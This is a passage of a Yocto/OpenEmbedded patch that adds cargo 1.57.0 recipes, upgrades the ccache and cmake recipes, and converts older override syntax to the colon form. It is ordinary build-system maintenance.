- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- oe_runmake 'DESTDIR=${D}' 'PYTHON_SITEPACKAGES_DIR=${PYTHON_SITEPACKAGES_DIR}' install_python
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/cargo/cargo-cross-canadian.inc b/meta/recipes-devtools/cargo/cargo-cross-canadian.inc
new file mode 100644
index 0000000000..840793c50b
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo-cross-canadian.inc
@@ -0,0 +1,74 @@
+SUMMARY = "Cargo, a package manager for Rust cross canadian flavor."
+
+RUST_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config"
+
+HOST_SYS = "${HOST_ARCH}-unknown-linux-gnu"
+CARGO_RUST_TARGET_CCLD = "${RUST_BUILD_CCLD}"
+
+require recipes-devtools/rust/rust-common.inc
+require cargo.inc
+
+CARGO = "${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo"
+BASEDEPENDS:remove = "cargo-native"
+
+export RUST_TARGET_PATH="${WORKDIR}/targets/"
+
+RUSTLIB = " \
+ -L ${STAGING_DIR_NATIVE}/${SDKPATHNATIVE}/usr/lib/${TARGET_SYS}/rustlib/${HOST_SYS}/lib \
+"
+
+DEPENDS += "rust-native \
+ rust-cross-canadian-${TRANSLATED_TARGET_ARCH} \
+ virtual/nativesdk-${HOST_PREFIX}compilerlibs \
+ nativesdk-openssl nativesdk-zlib \
+ virtual/nativesdk-libc \
+"
+
+inherit cross-canadian
+
+PN = "cargo-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+LLVM_TARGET[x86_64] = "${RUST_HOST_SYS}"
+
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+
+ rust_gen_target(d, 'BUILD', wd, "", "generic", d.getVar('BUILD_ARCH'))
+ rust_gen_target(d, 'HOST', wd, "", "generic", d.getVar('HOST_ARCH'))
+}
+
+do_compile:prepend () {
+ PKG_CONFIG_PATH="${RECIPE_SYSROOT_NATIVE}/usr/lib/pkgconfig:${PKG_CONFIG_PATH}"
+}
+
+do_install () {
+ SYS_BINDIR=$(dirname ${D}${bindir})
+ install -d "${SYS_BINDIR}"
+ install -m 755 "${B}/target/${CARGO_TARGET_SUBDIR}/cargo" "${SYS_BINDIR}"
+ for i in ${SYS_BINDIR}/*; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+
+ ENV_SETUP_DIR=${D}${base_prefix}/environment-setup.d
+ mkdir "${ENV_SETUP_DIR}"
+ ENV_SETUP_SH="${ENV_SETUP_DIR}/cargo.sh"
+ cat <<- EOF > "${ENV_SETUP_SH}"
+ export CARGO_HOME="\$OECORE_TARGET_SYSROOT/home/cargo"
+ mkdir -p "\$CARGO_HOME"
+ # Init the default target once, it might be otherwise user modified.
+ if [ ! -f "\$CARGO_HOME/config" ]; then
+ touch "\$CARGO_HOME/config"
+ echo "[build]" >> "\$CARGO_HOME/config"
+ echo 'target = "'${TARGET_SYS}'"' >> "\$CARGO_HOME/config"
+ fi
+
+ # Keep the below off as long as HTTP/2 is disabled.
+ export CARGO_HTTP_MULTIPLEXING=false
+
+ export CARGO_HTTP_CAINFO="\$OECORE_NATIVE_SYSROOT/etc/ssl/certs/ca-certificates.crt"
+ EOF
+}
+
+PKG_SYS_BINDIR = "${SDKPATHNATIVE}/usr/bin"
+FILES:${PN} += "${base_prefix}/environment-setup.d ${PKG_SYS_BINDIR}"
+
diff --git a/meta/recipes-devtools/cargo/cargo-cross-canadian_1.57.0.bb b/meta/recipes-devtools/cargo/cargo-cross-canadian_1.57.0.bb
new file mode 100644
index 0000000000..63fd69107b
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo-cross-canadian_1.57.0.bb
@@ -0,0 +1,6 @@
+require recipes-devtools/rust/rust-source.inc
+require recipes-devtools/rust/rust-snapshot.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/cargo-${PV}:"
+
+require cargo-cross-canadian.inc
diff --git a/meta/recipes-devtools/cargo/cargo.inc b/meta/recipes-devtools/cargo/cargo.inc
new file mode 100644
index 0000000000..607c51fc3d
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo.inc
@@ -0,0 +1,56 @@
+SUMMARY ?= "Cargo, a package manager for Rust."
+HOMEPAGE = "https://crates.io"
+LICENSE = "MIT | Apache-2.0"
+SECTION = "devel"
+
+DEPENDS = "openssl zlib curl ca-certificates libssh2"
+
+LIC_FILES_CHKSUM = " \
+ file://LICENSE-MIT;md5=b377b220f43d747efdec40d69fcaa69d \
+ file://LICENSE-APACHE;md5=71b224ca933f0676e26d5c2e2271331c \
+ file://LICENSE-THIRD-PARTY;md5=f257ad009884cb88a3a87d6920e7180a \
+"
+
+
+S = "${RUSTSRC}/src/tools/cargo"
+CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
+EXCLUDE_FROM_WORLD = "1"
+
+inherit cargo pkgconfig
+
+do_cargo_setup_snapshot () {
+ ${WORKDIR}/rust-snapshot-components/${CARGO_SNAPSHOT}/install.sh --prefix="${WORKDIR}/${CARGO_SNAPSHOT}" --disable-ldconfig
+ # Need to use uninative's loader if enabled/present since the library paths
+ # are used internally by rust and result in symbol mismatches if we don't
+ if [ ! -z "${UNINATIVE_LOADER}" -a -e "${UNINATIVE_LOADER}" ]; then
+ patchelf-uninative ${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo --set-interpreter ${UNINATIVE_LOADER}
+ fi
+}
+
+addtask cargo_setup_snapshot after do_unpack before do_configure
+do_cargo_setup_snapshot[dirs] += "${WORKDIR}/${CARGO_SNAPSHOT}"
+do_cargo_setup_snapshot[vardepsexclude] += "UNINATIVE_LOADER"
+
+
+do_compile:prepend () {
+ export RUSTC_BOOTSTRAP="1"
+}
+
+do_install () {
+ install -d "${D}${bindir}"
+ install -m 755 "${B}/target/${CARGO_TARGET_SUBDIR}/cargo" "${D}${bindir}"
+}
+
+# Disabled due to incompatibility with libgit2 0.28.x (https://github.com/rust-lang/git2-rs/issues/458, https://bugs.gentoo.org/707746#c1)
+# as shipped by Yocto Dunfell.
+# According to https://github.com/rust-lang/git2-rs/issues/458#issuecomment-522567539, there are no compatibility guarantees between
+# libgit2-sys and arbitrary system libgit2 versions, so better keep this turned off.
+#export LIBGIT2_SYS_USE_PKG_CONFIG = "1"
+
+# Needed for pkg-config to be used
+export LIBSSH2_SYS_USE_PKG_CONFIG = "1"
+
+# When building cargo-native we don't have cargo-native to use and depend on,
+# so we must use the locally set up snapshot to bootstrap the build.
+BASEDEPENDS:remove:class-native = "cargo-native"
+CARGO:class-native = "${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo"
diff --git a/meta/recipes-devtools/cargo/cargo_1.57.0.bb b/meta/recipes-devtools/cargo/cargo_1.57.0.bb
new file mode 100644
index 0000000000..eee58fc245
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo_1.57.0.bb
@@ -0,0 +1,4 @@
+require recipes-devtools/rust/rust-source.inc
+require recipes-devtools/rust/rust-snapshot.inc
+require cargo.inc
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ccache/ccache_3.7.11.bb b/meta/recipes-devtools/ccache/ccache_3.7.11.bb
deleted file mode 100644
index fd004f4c9b..0000000000
--- a/meta/recipes-devtools/ccache/ccache_3.7.11.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "a fast C/C++ compiler cache"
-DESCRIPTION = "ccache is a compiler cache. It speeds up recompilation \
-by caching the result of previous compilations and detecting when the \
-same compilation is being done again. Supported languages are C, C\+\+, \
-Objective-C and Objective-C++."
-HOMEPAGE = "http://ccache.samba.org"
-SECTION = "devel"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://LICENSE.adoc;md5=22d514dbc01fdf9a9784334b6b59417a"
-
-DEPENDS = "zlib"
-
-SRC_URI = "https://github.com/ccache/ccache/releases/download/v${PV}/${BP}.tar.gz"
-SRC_URI[sha256sum] = "34309a59d4b6b6b33756366aa9d3144a4655587be9f914476b4c0e2d36365f01"
-
-UPSTREAM_CHECK_URI = "https://github.com/ccache/ccache/releases/"
-
-inherit autotools
-
-# Remove ccache-native's dependencies, so that it can be used widely by
-# other native recipes.
-DEPENDS_class-native = ""
-EXTRA_OECONF_class-native = "--with-bundled-zlib"
-INHIBIT_AUTOTOOLS_DEPS_class-native = "1"
-PATCHTOOL = "patch"
-
-BBCLASSEXTEND = "native"
-
-do_configure_class-native() {
- oe_runconf
-}
diff --git a/meta/recipes-devtools/ccache/ccache_4.5.1.bb b/meta/recipes-devtools/ccache/ccache_4.5.1.bb
new file mode 100644
index 0000000000..26f808978f
--- /dev/null
+++ b/meta/recipes-devtools/ccache/ccache_4.5.1.bb
@@ -0,0 +1,26 @@
+SUMMARY = "a fast C/C++ compiler cache"
+DESCRIPTION = "ccache is a compiler cache. It speeds up recompilation \
+by caching the result of previous compilations and detecting when the \
+same compilation is being done again. Supported languages are C, C\+\+, \
+Objective-C and Objective-C++."
+HOMEPAGE = "http://ccache.samba.org"
+SECTION = "devel"
+
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://LICENSE.adoc;md5=8fe0fdfdc7a892516526b86c28d06a16"
+
+DEPENDS = "zstd"
+
+SRC_URI = "https://github.com/ccache/ccache/releases/download/v${PV}/${BP}.tar.gz"
+SRC_URI[sha256sum] = "f0d3cff5d555d6868f14a7d05696f0370074e475304fd5aa152b98f892364981"
+
+UPSTREAM_CHECK_URI = "https://github.com/ccache/ccache/releases/"
+
+inherit cmake
+
+PATCHTOOL = "patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG[docs] = "-DENABLE_DOCUMENTATION=ON,-DENABLE_DOCUMENTATION=OFF,asciidoc"
+PACKAGECONFIG[redis] = "-DREDIS_STORAGE_BACKEND=ON,-DREDIS_STORAGE_BACKEND=OFF,hiredis"
diff --git a/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb b/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
index c08da6cdca..cd2ca8dbe9 100644
--- a/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
+++ b/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
@@ -3,6 +3,7 @@
# Released under the MIT license (see packages/COPYING)
SUMMARY = "A set of tools for CD recording, including cdrecord"
HOMEPAGE = "http://sourceforge.net/projects/cdrtools/"
+DESCRIPTION = "cdrecord tool is Highly portable CD/DVD/BluRay command line recording software."
SECTION = "console/utils"
LICENSE = "GPLv2 & CDDL-1.0 & LGPLv2.1+"
LIC_FILES_CHKSUM = "file://COPYING;md5=32f68170be424c2cd64804337726b312"
diff --git a/meta/recipes-devtools/chrpath/chrpath_0.16.bb b/meta/recipes-devtools/chrpath/chrpath_0.16.bb
index f12366b4e8..de734e841a 100644
--- a/meta/recipes-devtools/chrpath/chrpath_0.16.bb
+++ b/meta/recipes-devtools/chrpath/chrpath_0.16.bb
@@ -16,9 +16,9 @@ inherit autotools
# We don't have a staged chrpath-native for ensuring our binary is
# relocatable, so use the one we've just built
-CHRPATH_BIN_class-native = "${B}/chrpath"
+CHRPATH_BIN:class-native = "${B}/chrpath"
-PROVIDES_append_class-native = " chrpath-replacement-native"
+PROVIDES:append:class-native = " chrpath-replacement-native"
NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/cmake/cmake-native_3.18.4.bb b/meta/recipes-devtools/cmake/cmake-native_3.18.4.bb
deleted file mode 100644
index d91e42ef9a..0000000000
--- a/meta/recipes-devtools/cmake/cmake-native_3.18.4.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-require cmake.inc
-inherit native
-
-DEPENDS += "bzip2-replacement-native xz-native zlib-native curl-native ncurses-native"
-
-SRC_URI += "file://OEToolchainConfig.cmake \
- file://environment.d-cmake.sh \
- file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
- file://0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch \
- "
-
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-CMAKE_EXTRACONF = "\
- -DCMAKE_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
- -DBUILD_CursesDialog=1 \
- -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
- -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBARCHIVE=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_EXPAT=0 \
- -DENABLE_ACL=0 -DHAVE_ACL_LIBACL_H=0 \
- -DHAVE_SYS_ACL_H=0 \
-"
-
-do_configure () {
- ${S}/configure --verbose --prefix=${prefix} \
- ${@oe.utils.parallel_make_argument(d, '--parallel=%d')} \
- ${@bb.utils.contains('CCACHE', 'ccache ', '--enable-ccache', '', d)} \
- -- ${CMAKE_EXTRACONF}
-}
-
-do_compile() {
- oe_runmake
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-
- # The following codes are here because eSDK needs to provide compatibilty
- # for SDK. That is, eSDK could also be used like traditional SDK.
- mkdir -p ${D}${datadir}/cmake
- install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
- mkdir -p ${D}${base_prefix}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${base_prefix}/environment-setup.d/cmake.sh
-}
-
-do_compile[progress] = "percent"
-
-SYSROOT_DIRS_NATIVE += "${datadir}/cmake ${base_prefix}/environment-setup.d"
diff --git a/meta/recipes-devtools/cmake/cmake-native_3.22.1.bb b/meta/recipes-devtools/cmake/cmake-native_3.22.1.bb
new file mode 100644
index 0000000000..335097d387
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake-native_3.22.1.bb
@@ -0,0 +1,53 @@
+require cmake.inc
+inherit native
+
+DEPENDS += "bzip2-replacement-native xz-native zlib-native curl-native ncurses-native zstd-native"
+
+SRC_URI += "file://OEToolchainConfig.cmake \
+ file://environment.d-cmake.sh \
+ file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
+ file://0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch \
+ "
+
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CMAKE_EXTRACONF = "\
+ -DCMAKE_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
+ -DBUILD_CursesDialog=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBARCHIVE=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_EXPAT=0 \
+ -DENABLE_ACL=0 -DHAVE_ACL_LIBACL_H=0 \
+ -DHAVE_SYS_ACL_H=0 \
+"
+
+do_configure () {
+ ${S}/configure --verbose --prefix=${prefix} \
+ ${@oe.utils.parallel_make_argument(d, '--parallel=%d')} \
+ ${@bb.utils.contains('CCACHE', 'ccache ', '--enable-ccache', '', d)} \
+ -- ${CMAKE_EXTRACONF}
+}
+
+do_compile() {
+ oe_runmake
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+
+ # The following codes are here because eSDK needs to provide compatibilty
+ # for SDK. That is, eSDK could also be used like traditional SDK.
+ mkdir -p ${D}${datadir}/cmake
+ install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
+ mkdir -p ${D}${base_prefix}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${base_prefix}/environment-setup.d/cmake.sh
+}
+
+do_compile[progress] = "percent"
+
+SYSROOT_DIRS_NATIVE += "${datadir}/cmake ${base_prefix}/environment-setup.d"
diff --git a/meta/recipes-devtools/cmake/cmake.inc b/meta/recipes-devtools/cmake/cmake.inc
index e840e884cf..628734ac73 100644
--- a/meta/recipes-devtools/cmake/cmake.inc
+++ b/meta/recipes-devtools/cmake/cmake.inc
@@ -10,19 +10,18 @@ HOMEPAGE = "http://www.cmake.org/"
BUGTRACKER = "http://public.kitware.com/Bug/my_view_page.php"
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://Copyright.txt;md5=c721f56fce89ba2eadc2fdd8ba1f4d83 \
- file://Source/cmake.h;beginline=1;endline=3;md5=4494dee184212fc89c469c3acd555a14 \
+LIC_FILES_CHKSUM = "file://Copyright.txt;md5=31023e1d3f51ca90a58f55bcee8e2339 \
+ file://Source/cmake.h;beginline=1;endline=2;md5=a5f70e1fef8614734eae0d62b4f5891b \
"
CMAKE_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
SRC_URI = "https://cmake.org/files/v${CMAKE_MAJOR_VERSION}/cmake-${PV}.tar.gz \
- file://0002-cmake-Prevent-the-detection-of-Qt5.patch \
file://0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch \
file://0004-Fail-silently-if-system-Qt-installation-is-broken.patch \
"
-SRC_URI[sha256sum] = "597c61358e6a92ecbfad42a9b5321ddd801fc7e7eca08441307c9138382d4f77"
+SRC_URI[sha256sum] = "0e998229549d7b3f368703d20e248e7ee1f853910d42704aa87918c213ea82c0"
UPSTREAM_CHECK_REGEX = "cmake-(?P<pver>\d+(\.\d+)+)\.tar"
diff --git a/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch b/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
index c4f81b27b5..9609f5f7c2 100644
--- a/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
+++ b/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
@@ -1,4 +1,4 @@
-From dd0fe8d54def4684d360b3e9b10e963ef0208202 Mon Sep 17 00:00:00 2001
+From e75f76b00cc9c1cfc231c5e731e975552f5dd13e Mon Sep 17 00:00:00 2001
From: Cody P Schafer <dev@codyps.com>
Date: Thu, 27 Apr 2017 11:35:05 -0400
Subject: [PATCH] CMakeDetermineSystem: use oe environment vars to load default
@@ -25,10 +25,10 @@ Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
1 file changed, 7 insertions(+)
diff --git a/Modules/CMakeDetermineSystem.cmake b/Modules/CMakeDetermineSystem.cmake
-index f3ec4da..bb05656 100644
+index bae270de..5bb6bc0d 100644
--- a/Modules/CMakeDetermineSystem.cmake
+++ b/Modules/CMakeDetermineSystem.cmake
-@@ -81,6 +81,13 @@ else()
+@@ -111,6 +111,13 @@ else()
endif()
endif()
diff --git a/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch b/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch
deleted file mode 100644
index 162bfe5783..0000000000
--- a/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-From 106cf5134d22db889e4ddf2f98ec302d5f4b9ca7 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Wed, 17 Jan 2018 10:02:14 -0200
-Subject: [PATCH] cmake: Prevent the detection of Qt5
-
-Organization: O.S. Systems Software LTDA.
-
-CMake doesn't have dependency on qt4/qt5, so these tests usually fail
-but still can cause undeterministic results or build failures (when
-OE_QMAKE_PATH_EXTERNAL_HOST_BINS is undefined or native qmake removed
-while running the test in cmake)
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- Source/QtDialog/CMakeLists.txt | 2 +-
- Tests/CMakeLists.txt | 2 +-
- Tests/Qt4And5Automoc/CMakeLists.txt | 4 ++--
- Tests/QtAutogen/AutogenGuiTest.cmake | 3 +--
- Tests/QtAutogen/MacOsFW/CMakeLists.txt | 2 +-
- Tests/RunCMake/CMakeLists.txt | 2 +-
- Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake | 2 +-
- 7 files changed, 8 insertions(+), 9 deletions(-)
-
-diff --git a/Source/QtDialog/CMakeLists.txt b/Source/QtDialog/CMakeLists.txt
-index 98dd0e2..252302b 100644
---- a/Source/QtDialog/CMakeLists.txt
-+++ b/Source/QtDialog/CMakeLists.txt
-@@ -3,7 +3,7 @@
-
- project(QtDialog)
- CMake_OPTIONAL_COMPONENT(cmake-gui)
--find_package(Qt5Widgets QUIET)
-+#find_package(Qt5Widgets QUIET)
- if (Qt5Widgets_FOUND)
- include_directories(${Qt5Widgets_INCLUDE_DIRS})
- add_definitions(${Qt5Widgets_DEFINITONS})
-diff --git a/Tests/CMakeLists.txt b/Tests/CMakeLists.txt
-index db6dbf3..5b26879 100644
---- a/Tests/CMakeLists.txt
-+++ b/Tests/CMakeLists.txt
-@@ -215,7 +215,7 @@ if(BUILD_TESTING)
- set(CMake_TEST_Qt5 1)
- endif()
- if(CMake_TEST_Qt5)
-- find_package(Qt5Widgets QUIET NO_MODULE)
-+ #find_package(Qt5Widgets QUIET NO_MODULE)
- endif()
-
- if(NOT CMake_TEST_EXTERNAL_CMAKE)
-diff --git a/Tests/Qt4And5Automoc/CMakeLists.txt b/Tests/Qt4And5Automoc/CMakeLists.txt
-index ad74961..a9dd74b 100644
---- a/Tests/Qt4And5Automoc/CMakeLists.txt
-+++ b/Tests/Qt4And5Automoc/CMakeLists.txt
-@@ -3,11 +3,11 @@ cmake_minimum_required(VERSION 2.8.12)
- project(Qt4And5Automoc)
-
- if (QT_REVERSE_FIND_ORDER)
-- find_package(Qt5Core REQUIRED)
-+ #find_package(Qt5Core REQUIRED)
- find_package(Qt4 REQUIRED)
- else()
- find_package(Qt4 REQUIRED)
-- find_package(Qt5Core REQUIRED)
-+ #find_package(Qt5Core REQUIRED)
- endif()
-
- set(CMAKE_AUTOMOC ON)
-diff --git a/Tests/QtAutogen/AutogenGuiTest.cmake b/Tests/QtAutogen/AutogenGuiTest.cmake
-index b76d341..a6e0acb 100644
---- a/Tests/QtAutogen/AutogenGuiTest.cmake
-+++ b/Tests/QtAutogen/AutogenGuiTest.cmake
-@@ -22,8 +22,7 @@ if (QT_TEST_VERSION EQUAL 4)
- endmacro()
-
- elseif(QT_TEST_VERSION EQUAL 5)
--
-- find_package(Qt5Widgets REQUIRED)
-+ #find_package(Qt5Widgets REQUIRED)
-
- set(QT_QTCORE_TARGET Qt5::Core)
- set(QT_LIBRARIES Qt5::Widgets)
-diff --git a/Tests/QtAutogen/MacOsFW/CMakeLists.txt b/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-index c08efc4..87e25d9 100644
---- a/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-+++ b/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-@@ -2,7 +2,7 @@ cmake_minimum_required(VERSION 3.10)
- project(MacOsFW)
- include("../AutogenGuiTest.cmake")
-
--find_package(Qt5Test REQUIRED)
-+#find_package(Qt5Test REQUIRED)
-
- set(CMAKE_CXX_STANDARD 11)
- set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/output/bin)
-diff --git a/Tests/RunCMake/CMakeLists.txt b/Tests/RunCMake/CMakeLists.txt
-index 10e66c3..ecc4eeb 100644
---- a/Tests/RunCMake/CMakeLists.txt
-+++ b/Tests/RunCMake/CMakeLists.txt
-@@ -440,7 +440,7 @@ if(NOT WIN32)
- endif ()
-
- find_package(Qt4 QUIET)
--find_package(Qt5Core QUIET)
-+#find_package(Qt5Core QUIET)
- if (QT4_FOUND AND Qt5Core_FOUND AND NOT Qt5Core_VERSION VERSION_LESS 5.1.0)
- add_RunCMake_test(IncompatibleQt)
- endif()
-diff --git a/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake b/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-index 4fccdc4..b76e1e5 100644
---- a/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-+++ b/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-@@ -1,6 +1,6 @@
-
- find_package(Qt4 REQUIRED)
--find_package(Qt5Core REQUIRED)
-+#find_package(Qt5Core REQUIRED)
-
- add_executable(mainexe main.cpp)
- target_link_libraries(mainexe Qt4::QtCore Qt5::Core)
diff --git a/meta/recipes-devtools/cmake/cmake_3.18.4.bb b/meta/recipes-devtools/cmake/cmake_3.18.4.bb
deleted file mode 100644
index 64c92b89f2..0000000000
--- a/meta/recipes-devtools/cmake/cmake_3.18.4.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-require cmake.inc
-
-inherit cmake bash-completion
-
-DEPENDS += "curl expat zlib libarchive xz ncurses bzip2"
-
-SRC_URI_append_class-nativesdk = " \
- file://OEToolchainConfig.cmake \
- file://environment.d-cmake.sh \
- file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
-"
-
-# Strip ${prefix} from ${docdir}, set result into docdir_stripped
-python () {
- prefix=d.getVar("prefix")
- docdir=d.getVar("docdir")
-
- if not docdir.startswith(prefix):
- bb.fatal('docdir must contain prefix as its prefix')
-
- docdir_stripped = docdir[len(prefix):]
- if len(docdir_stripped) > 0 and docdir_stripped[0] == '/':
- docdir_stripped = docdir_stripped[1:]
-
- d.setVar("docdir_stripped", docdir_stripped)
-}
-
-EXTRA_OECMAKE=" \
- -DCMAKE_DOC_DIR=${docdir_stripped}/cmake-${CMAKE_MAJOR_VERSION} \
- -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
- -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
- -DKWSYS_CHAR_IS_SIGNED=1 \
- -DBUILD_CursesDialog=0 \
- -DKWSYS_LFS_WORKS=1 \
-"
-
-do_install_append_class-nativesdk() {
- mkdir -p ${D}${datadir}/cmake
- install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
-
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${SDKPATHNATIVE}/environment-setup.d/cmake.sh
-}
-
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}"
-
-FILES_${PN} += "${datadir}/cmake-${CMAKE_MAJOR_VERSION} ${datadir}/cmake ${datadir}/aclocal ${datadir}/emacs ${datadir}/vim"
-FILES_${PN}-doc += "${docdir}/cmake-${CMAKE_MAJOR_VERSION}"
-FILES_${PN}-dev = ""
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/cmake/cmake_3.22.1.bb b/meta/recipes-devtools/cmake/cmake_3.22.1.bb
new file mode 100644
index 0000000000..36c6357dd8
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake_3.22.1.bb
@@ -0,0 +1,53 @@
+require cmake.inc
+
+inherit cmake bash-completion
+
+DEPENDS += "curl expat zlib libarchive xz ncurses bzip2"
+
+SRC_URI:append:class-nativesdk = " \
+ file://OEToolchainConfig.cmake \
+ file://environment.d-cmake.sh \
+ file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
+"
+
+# Strip ${prefix} from ${docdir}, set result into docdir_stripped
+python () {
+ prefix=d.getVar("prefix")
+ docdir=d.getVar("docdir")
+
+ if not docdir.startswith(prefix):
+ bb.fatal('docdir must contain prefix as its prefix')
+
+ docdir_stripped = docdir[len(prefix):]
+ if len(docdir_stripped) > 0 and docdir_stripped[0] == '/':
+ docdir_stripped = docdir_stripped[1:]
+
+ d.setVar("docdir_stripped", docdir_stripped)
+}
+
+EXTRA_OECMAKE=" \
+ -DCMAKE_DOC_DIR=${docdir_stripped}/cmake-${CMAKE_MAJOR_VERSION} \
+ -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
+ -DKWSYS_CHAR_IS_SIGNED=1 \
+ -DBUILD_CursesDialog=0 \
+ -DKWSYS_LFS_WORKS=1 \
+"
+
+do_install:append:class-nativesdk() {
+ mkdir -p ${D}${datadir}/cmake
+ install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
+
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${SDKPATHNATIVE}/environment-setup.d/cmake.sh
+}
+
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}"
+
+FILES:${PN} += "${datadir}/cmake-${CMAKE_MAJOR_VERSION} ${datadir}/cmake ${datadir}/aclocal ${datadir}/emacs ${datadir}/vim"
+FILES:${PN}-doc += "${docdir}/cmake-${CMAKE_MAJOR_VERSION}"
+FILES:${PN}-dev = ""
+
+BBCLASSEXTEND = "nativesdk"
